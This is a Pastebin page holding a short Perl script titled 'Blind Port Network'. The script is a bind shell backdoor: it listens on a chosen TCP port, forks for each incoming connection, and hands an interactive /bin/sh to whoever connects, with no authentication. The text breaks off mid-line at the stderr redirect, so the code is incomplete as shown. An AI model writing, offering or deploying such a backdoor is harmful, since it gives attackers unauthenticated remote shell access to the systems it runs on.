Advertisement
cdw1p

[PERL] Blind Port Network

Jul 8th, 2019
369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.46 KB | None | 0 0
  1. #!/usr/bin/perl
  2. $SHELL="/bin/sh -i";
  3. if (@ARGV < 1) { exit(1); }
  4. use Socket;
  5. socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
  6. setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  7. bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
  8. listen(S,3) || die "Cant listen port\n";
  9. while(1) {
  10.     accept(CONN,S);
  11.     if(!($pid=fork)) {
  12.         die "Cannot fork" if (!defined $pid);
  13.         open STDIN,"<&CONN";
  14.         open STDOUT,">&CONN";
  15.         open STDERR,"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement